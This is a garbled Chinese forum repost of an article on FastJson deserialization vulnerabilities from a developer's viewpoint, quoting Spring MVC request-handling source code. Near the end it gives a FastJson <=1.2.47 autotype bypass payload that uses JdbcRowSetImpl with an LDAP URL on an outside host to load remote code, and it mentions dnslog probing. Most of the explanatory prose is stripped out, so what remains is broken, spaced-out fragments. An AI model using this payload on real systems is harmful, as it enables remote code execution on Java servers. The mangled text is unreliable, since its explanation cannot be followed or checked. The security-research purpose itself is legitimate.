[16253] 2020-12-26_那些FastJson漏洞不为人知的事情(开发角度)

文档创建者:s7ckTeam
浏览次数:10
最后更新:2025-01-18
2020-12-26_那些FastJson漏洞不为人知的事情(开发角度) F a s t J s o n   F r e e B u f   2 0 2 0 - 1 2 - 2 6 F a s t J s o n < = 1 . 2 . 2 4 F a s t J s o n F a s t J s o n F a s t J s o n F a s t J s o n 1 . F a s t J s o n < = 1 . 2 . 4 7 2 . P O C J S O N . p a r s e O b j e c t ( ) j s o n 使 F a s t J s o n J S O N . p a r s e O b j e c t ( ) A P I j s o n J a v a S S M ( S p r i n g + S p r i n g M v c + M y b a t i s ) 访 使 S p r i n g M v c S p r i n g M V C j s o n J S O N . p a r s e O b j e c t ( t e x t 2 ) ;
访 j s o n 便 9 5 J a v a @ R e q u e s t B o d y j s o n @ R e q u e s t B o d y
( ) R e q u e s t M a p p i n g H a n d l e r A d a p t e r A b s t r a c t H a n d l e r M e t h o d A d a p t e r , A b s t r a c t H a n d l e r M e t h o d A d a p t e r h a n d l e ( ) @ R e q u e s t M a p p i n g @ G e t M a p p i n g @ P o s t M a p p i n g m v   =   h a . h a n d l e ( p r o c e s s e d R e q u e s t ,   r e s p o n s e ,   m a p p e d H a n d l e r . g e t H a n d l e r ( ) ) ; @ O v e r r i d e         @ N u l l a b l e         p u b l i c   f i n a l   M o d e l A n d V i e w   h a n d l e ( H t t p S e r v l e t R e q u e s t   r e q u e s t ,   H t t p S e r v l e t R e s p o n s e   r e s p o n s e ,   O b j e c t   h a n d l e r )                         t h r o w s   E x c e p t i o n   {                 r e t u r n   h a n d l e I n t e r n a l ( r e q u e s t ,   r e s p o n s e ,   ( H a n d l e r M e t h o d )   h a n d l e r ) ;         }
h a n d l e I n t e r n a l ( ) R e q u e s t M a p p i n g H a n d l e r A d a p t e r : i n v o k e H a n d l e r M e t h o d ( ) , @ R e q u e s t M a p p i n g S e r v l e t I n v o c a b l e H a n d l e r M e t h o d , I n v o c a b l e H a n d l e r M e t h o d i n v o k e A n d H a n d l e ( ) : i f   ( t h i s . s y n c h r o n i z e O n S e s s i o n )   {                         H t t p S e s s i o n   s e s s i o n   =   r e q u e s t . g e t S e s s i o n ( f a l s e ) ;                         i f   ( s e s s i o n   ! =   n u l l )   {                                 O b j e c t   m u t e x   =   W e b U t i l s . g e t S e s s i o n M u t e x ( s e s s i o n ) ;                                 s y n c h r o n i z e d   ( m u t e x )   {                                         m a v   =   i n v o k e H a n d l e r M e t h o d ( r e q u e s t ,   r e s p o n s e ,   h a n d l e r M e t h o d ) ;                                 }                         }                         e l s e   {                                 / /   N o   H t t p S e s s i o n   a v a i l a b l e   - >   n o   m u t e x   n e c e s s a r y                                 m a v   =   i n v o k e H a n d l e r M e t h o d ( r e q u e s t ,   r e s p o n s e ,   h a n d l e r M e t h o d ) ;                         }                 }                 e l s e   {                         / /   N o   s y n c h r o n i z a t i o n   o n   s e s s i o n   d e m a n d e d   a t   a l l . . .                         m a v   =   i n v o k e H a n d l e r M e t h o d ( r e q u e s t ,   r e s p o n s e ,   h a n d l e r M e t h o d ) ;                 } p r o t e c t e d   M o d e l A n d V i e w   i n v o k e H a n d l e r M e t h o d ( H t t p S e r v l e t R e q u e s t   r e q u e s t ,                         H t t p S e r v l e t R e s p o n s e   r e s p o n s e ,   H a n d l e r M e t h o d   h a n d l e r M e t h o d )   t h r o w s   E x c e p t i o n   {                 S e r v l e t W e b R e q u e s t   w e b R e q u e s t   =   n e w   S e r v l e t W e b R e q u e s t ( r e q u e s t ,   r e s p o n s e ) ;                 t r y   {                         W e b D a t a B i n d e r F a c t o r y   b i n d e r F a c t o r y   =   g e t D a t a B i n d e r F a c t o r y ( h a n d l e r M e t h o d ) ;                         M o d e l F a c t o r y   m o d e l F a c t o r y   =   g e t M o d e l F a c t o r y ( h a n d l e r M e t h o d ,   b i n d e r F a c t o r y ) ;                         S e r v l e t I n v o c a b l e H a n d l e r M e t h o d   i n v o c a b l e M e t h o d   =   c r e a t e I n v o c a b l e H a n d l e r M e t h o d ( h a n d l e r M e t h o d ) ;                         / / , S e r v l e t I n v o c a b l e H a n d l e r M e t h o d                         i f   ( t h i s . a r g u m e n t R e s o l v e r s   ! =   n u l l )   {                                 i n v o c a b l e M e t h o d . s e t H a n d l e r M e t h o d A r g u m e n t R e s o l v e r s ( t h i s . a r g u m e n t R e s o l v e r s ) ;                         }                         i f   ( t h i s . r e t u r n V a l u e H a n d l e r s   ! =   n u l l )   {                                 i n v o c a b l e M e t h o d . s e t H a n d l e r M e t h o d R e t u r n V a l u e H a n d l e r s ( t h i s . r e t u r n V a l u e H a n d l e r s ) ;                         }                         i n v o c a b l e M e t h o d . s e t D a t a B i n d e r F a c t o r y ( b i n d e r F a c t o r y ) ;                         i n v o c a b l e M e t h o d . s e t P a r a m e t e r N a m e D i s c o v e r e r ( t h i s . p a r a m e t e r N a m e D i s c o v e r e r ) ;                         M o d e l A n d V i e w C o n t a i n e r   m a v C o n t a i n e r   =   n e w   M o d e l A n d V i e w C o n t a i n e r ( ) ;                         m a v C o n t a i n e r . a d d A l l A t t r i b u t e s ( R e q u e s t C o n t e x t U t i l s . g e t I n p u t F l a s h M a p ( r e q u e s t ) ) ;                         m o d e l F a c t o r y . i n i t M o d e l ( w e b R e q u e s t ,   m a v C o n t a i n e r ,   i n v o c a b l e M e t h o d ) ;                         m a v C o n t a i n e r . s e t I g n o r e D e f a u l t M o d e l O n R e d i r e c t ( t h i s . i g n o r e D e f a u l t M o d e l O n R e d i r e c t ) ;                         A s y n c W e b R e q u e s t   a s y n c W e b R e q u e s t   =   W e b A s y n c U t i l s . c r e a t e A s y n c W e b R e q u e s t ( r e q u e s t ,   r e s p o n s e ) ;                         a s y n c W e b R e q u e s t . s e t T i m e o u t ( t h i s . a s y n c R e q u e s t T i m e o u t ) ;                         W e b A s y n c M a n a g e r   a s y n c M a n a g e r   =   W e b A s y n c U t i l s . g e t A s y n c M a n a g e r ( r e q u e s t ) ;                         a s y n c M a n a g e r . s e t T a s k E x e c u t o r ( t h i s . t a s k E x e c u t o r ) ;                         a s y n c M a n a g e r . s e t A s y n c W e b R e q u e s t ( a s y n c W e b R e q u e s t ) ;                         a s y n c M a n a g e r . r e g i s t e r C a l l a b l e I n t e r c e p t o r s ( t h i s . c a l l a b l e I n t e r c e p t o r s ) ;                         a s y n c M a n a g e r . r e g i s t e r D e f e r r e d R e s u l t I n t e r c e p t o r s ( t h i s . d e f e r r e d R e s u l t I n t e r c e p t o r s ) ;                         i f   ( a s y n c M a n a g e r . h a s C o n c u r r e n t R e s u l t ( ) )   {                                 O b j e c t   r e s u l t   =   a s y n c M a n a g e r . g e t C o n c u r r e n t R e s u l t ( ) ;                                 m a v C o n t a i n e r   =   ( M o d e l A n d V i e w C o n t a i n e r )   a s y n c M a n a g e r . g e t C o n c u r r e n t R e s u l t C o n t e x t ( ) [ 0 ] ;                                 a s y n c M a n a g e r . c l e a r C o n c u r r e n t R e s u l t ( ) ;                                 i f   ( l o g g e r . i s D e b u g E n a b l e d ( ) )   {                                         l o g g e r . d e b u g ( " F o u n d   c o n c u r r e n t   r e s u l t   v a l u e   [ "   +   r e s u l t   +   " ] " ) ;                                 }                                 i n v o c a b l e M e t h o d   =   i n v o c a b l e M e t h o d . w r a p C o n c u r r e n t R e s u l t ( r e s u l t ) ;                         }                         / /                         i n v o c a b l e M e t h o d . i n v o k e A n d H a n d l e ( w e b R e q u e s t ,   m a v C o n t a i n e r ) ;                         i f   ( a s y n c M a n a g e r . i s C o n c u r r e n t H a n d l i n g S t a r t e d ( ) )   {                                 r e t u r n   n u l l ;                         }                         r e t u r n   g e t M o d e l A n d V i e w ( m a v C o n t a i n e r ,   m o d e l F a c t o r y ,   w e b R e q u e s t ) ;                 }                 f i n a l l y   {                         w e b R e q u e s t . r e q u e s t C o m p l e t e d ( ) ;                 }         } i n v o c a b l e M e t h o d . i n v o k e A n d H a n d l e ( w e b R e q u e s t ,   m a v C o n t a i n e r ) ;
H t t p M e s s a g e C o n v e r t e r R e q u e s t M a p p i n g H a n d l e r A d a p t e r j s o n 使 A b s t r a c t J a c k s o n 2 H t t p M e s s a g e C o n v e r t e r 使 j a c k s o n j s o n 使 使 j s c k s o n j a c k s o n p u b l i c   v o i d   i n v o k e A n d H a n d l e ( S e r v l e t W e b R e q u e s t   w e b R e q u e s t ,   M o d e l A n d V i e w C o n t a i n e r   m a v C o n t a i n e r ,                         O b j e c t . . .   p r o v i d e d A r g s )   t h r o w s   E x c e p t i o n   {                 O b j e c t   r e t u r n V a l u e   =   i n v o k e F o r R e q u e s t ( w e b R e q u e s t ,   m a v C o n t a i n e r ,   p r o v i d e d A r g s ) ;                 s e t R e s p o n s e S t a t u s ( w e b R e q u e s t ) ;                 i f   ( r e t u r n V a l u e   = =   n u l l )   {                         i f   ( i s R e q u e s t N o t M o d i f i e d ( w e b R e q u e s t )   | |   g e t R e s p o n s e S t a t u s ( )   ! =   n u l l   | |   m a v C o n t a i n e r . i s R e q u e s t H a n d l e d ( ) )   {                                 m a v C o n t a i n e r . s e t R e q u e s t H a n d l e d ( t r u e ) ;                                 r e t u r n ;                         }                 }                 e l s e   i f   ( S t r i n g U t i l s . h a s T e x t ( g e t R e s p o n s e S t a t u s R e a s o n ( ) ) )   {                         m a v C o n t a i n e r . s e t R e q u e s t H a n d l e d ( t r u e ) ;                         r e t u r n ;                 }                 m a v C o n t a i n e r . s e t R e q u e s t H a n d l e d ( f a l s e ) ;                 A s s e r t . s t a t e ( t h i s . r e t u r n V a l u e H a n d l e r s   ! =   n u l l ,   " N o   r e t u r n   v a l u e   h a n d l e r s " ) ;                 t r y   {                         t h i s . r e t u r n V a l u e H a n d l e r s . h a n d l e R e t u r n V a l u e (                                         r e t u r n V a l u e ,   g e t R e t u r n V a l u e T y p e ( r e t u r n V a l u e ) ,   m a v C o n t a i n e r ,   w e b R e q u e s t ) ;                 }                 c a t c h   ( E x c e p t i o n   e x )   {                         i f   ( l o g g e r . i s T r a c e E n a b l e d ( ) )   {                                 l o g g e r . t r a c e ( g e t R e t u r n V a l u e H a n d l i n g E r r o r M e s s a g e ( " E r r o r   h a n d l i n g   r e t u r n   v a l u e " ,   r e t u r n V a l u e ) ,   e x ) ;                         }                         t h r o w   e x ;                 }         }
9 0 J a v a 1 . J a v a M a v e n F a s t j s o n 2 . 访 c o n t r o l l e r i d e a C o n t r o l l e r J S O N . p a r s e O b j e c t ( ) f a s t j s o n d n s l o g
m a v e n < = 1 . 2 . 4 7 + C o n t r o l l e r   使 使 C t r l + S h i f t + R   J S O N . p a r s e O b j e c t F a s t J s o n   F a s t j s o n a u t o t y p e 西 j s o n 使 d n s l o g p o c t y p e j a v a i c m p p i n g p i n g p i n g j a v a . n e t . I n e t 4 A d d r e s s r e d b t z . d n s l o g . c n {     " n a m e " :   {         " @ t y p e " :   " j a v a . l a n g . C l a s s " ,         " v a l " :   " c o m . s u n . r o w s e t . J d b c R o w S e t I m p l "     } ,     " x " :   {         " @ t y p e " :   " c o m . s u n . r o w s e t . J d b c R o w S e t I m p l " ,         " d a t a S o u r c e N a m e " :   " l d a p : / / 1 9 2 . 1 6 8 . 2 1 4 . 1 3 7 : 9 9 9 9 / E x p l o i t " ,         " a u t o C o m m i t " :   t r u e     } }
j a v a r m i :   a u t o t y p e f a s t j s o n a u t o t y p e a u t o t y p e r c e f a s t j s o n J S O N . p a r s e O b j e c t ( ) @ R e q u e s t B o d y S p i n g M V C f a s t j s o n
~
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则